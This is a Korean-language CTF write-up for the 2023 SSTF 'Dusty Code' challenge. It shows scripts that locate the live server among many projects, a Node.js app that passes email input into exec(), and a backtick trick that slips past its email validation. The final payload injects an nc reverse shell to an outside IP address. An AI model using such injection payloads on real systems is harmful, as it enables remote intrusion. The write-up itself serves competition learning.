CTF Writeup

2023 SSTF - Dusty Code

LittleDev0617 2023. 8. 21. 12:09

아쉽게 못 푼 문제.

문제 설명처럼 a-z 까지 수백개의 프로젝트 폴더를 주는데 이 중 서버에서 돌리는 코드를 찾으면 된다.

서버에 접속하면 위와 같이 뜨는데 이를 이용해서 서버 코드를 찾는다.

import glob
import re
from requests import get


url = 'http://dustycode.sstf.site:3000/'
directories = glob.glob('./projects/*')
for i, directory in enumerate(directories):
    # print(i, directory)
    app = open(f'{directory}/server/app.js', 'r').read()
    endpoints = re.findall("'/.*'", app)
    for end in endpoints:
        path = end.split("'/")[1].split("'")[0]
        if ':' in path:
            continue

        r = get(url + path)
        if '{"statusCode":404,"error":"Not Found","message":"Not Found"}' not in r.text:
            print(directory, path)
            exit()

라우팅할 때 '/path' 가 들어가니 path를 정규식으로 얻은 후 다른 메시지를 응답하는 path를 찾는다.

위 코드를 돌리면 ./projects\\dove-service zebra 를 얻을 수 있고 zebra path 를 포함한 모든 서버 코드를 찾는다.

import glob
import re
from requests import get


url = 'http://dustycode.sstf.site:3000/'
directories = glob.glob('./projects/*')
for i, directory in enumerate(directories):
    # print(i, directory)
    app = open(f'{directory}/server/app.js', 'r').read()
    endpoints = re.findall("'/.*'", app)
    for end in endpoints:
        path = end.split("'/")[1].split("'")[0]
        if ':' in path:
            continue

        if 'zebra' in path:
            print(directory, path)

하나씩 들어가서 확인해보면 lizard-lib 이 서버임을 알 수 있다.

// lizard-lib/server/app.js
const Hapi = require('@hapi/hapi');
const Joi = require('@hapi/joi');
const regex = require('email-regex')({exact: true});
const { exec } = require("child_process");

const server = Hapi.server({
    port: 3000,
    host: 'localhost'
});

const API_KEY = "binary_glibberish";

server.route({
    method: 'GET',
    path: '/zebra',
    handler: async (request, h) => {
        const { email } = request.query;
        const foo = () => {
            return new Promise((resolve, reject) => {
                decrypt(email, (err, plainEmail) => {
                    if (err) {
                        reject(err);
                    } else {
                        resolve(plainEmail);
                    }
                })
            });
        };
        const resp = await foo();
        console.log(resp);
        return h.response(resp);
    },
    options: {
        validate: {
            query: Joi.object({
                apiKey: Joi.string().equal(API_KEY).required(),
                email: Joi.string().email().required()
            })
        }
    }
})

function decrypt(encryptedStr, callback) {
    if (encryptedStr && !regex.test(encryptedStr)) {
        try {
            exec('java -cp bin/decryptor.jar com.Main ' + encryptedStr, function(err, stdout, stderr) {
                if (stdout) {
                    let values = stdout.split(':');
                    return callback(null, values[1]);
                } else {
                    return callback(null, encryptedStr);
                }
            })
        } catch(e) {
            return callback(null, encryptedStr);
        }
    } else {
        return callback(null, encryptedStr);
    }
}

(async () => {
    try {
        await server.start();
        console.log(`Server running at: ${server.info.uri}`);
    } catch (error) {
        console.log(error);
        process.exit(1);
    }
})();

command injection 이 바로 눈에 보이는데 이를 트리거하려면 Joi.string().email() 조건과 email-regex의 !regex.test()를 동시에 만족시켜야한다.
이는 joi 라이브러리에서는 email에 적합하다 인식되어야 하고, email-regex 에서는 email에 부적합하다 판단되는 email을 찾아야 하는데 대회 중에 못 찾고 끝냈다.
끝난 후 writeup을 보니 !regex.test() 가 false 인 email을 사용하여 exploit 했길래 뭔가 했더니 문제 설명이 생각났다.

 

서버 코드

는 다를 수 있음이 생각났고 디스코드에 물어봤더니

branch가 있더라.. 생각해보니 각 프로젝트마다 git init이 된 상태였고, 실제로 확인해보니

두 branch 가 있었다. release branch로  checkout 하면 app.js 가 변경된다.

function decrypt(encryptedStr, callback) {
    const regex = new RegExp(`^[^\\.\\s@:](?:[^\\s@:]*[^\\s@:\\.\`])?@[^\\.\\s@]+(?:\\.[^\\.\\s@]+)*$`);
    if (encryptedStr && !regex.test(encryptedStr)) {
        try {
            exec('java -cp bin/decryptor.jar com.Main ' + encryptedStr, function(err, stdout, stderr) {
                if (stdout) {
                    let values = stdout.split(':');
                    return callback(null, values[1]);
                } else {
                    return callback(null, encryptedStr);
                }
            })
        } catch(e) {
            return callback(null, encryptedStr);
        }
    } else {
        return callback(null, encryptedStr);
    }
}

email-regex 에서 사용하는 정규식에 ` 을 추가하여 `이 있으면 email 에 부적합하게끔 만들었다.

그렇기에 `test@b.com 이메일은  joi 를 통과하고 !regex.test 도 통과하게 된다.

 

최종 이메일 : `nc${IFS}125.180.98.19${IFS}8888${IFS}-e${IFS}/bin/sh`@a.com

http://dustycode.sstf.site:3000/zebra?email=%EF%BB%BF%20%60nc%24%7BIFS%7D125.180.98.19%24%7BIFS%7D8888%24%7BIFS%7D-e%24%7BIFS%7D%2Fbin%2Fsh%60%40a.com%26apiKey%3Dbinary_glibberish%20

 

Flag : SCTF{F1ind1ng_n33d1e_1n_h4ys74ck_a8c312}

'CTF Writeup' 카테고리의 다른 글

2023 hspace CTF  (0) 2023.09.01
2023 Bauhinia CTF - Very Simplified RPG  (1) 2023.08.21
2023 SSTF - Libreria  (0) 2023.08.21
AmateursCTF 2023 - flagchecker Writeup  (0) 2023.07.19
zer0ptsCTF 2023 - decompile_me Writeup  (0) 2023.07.19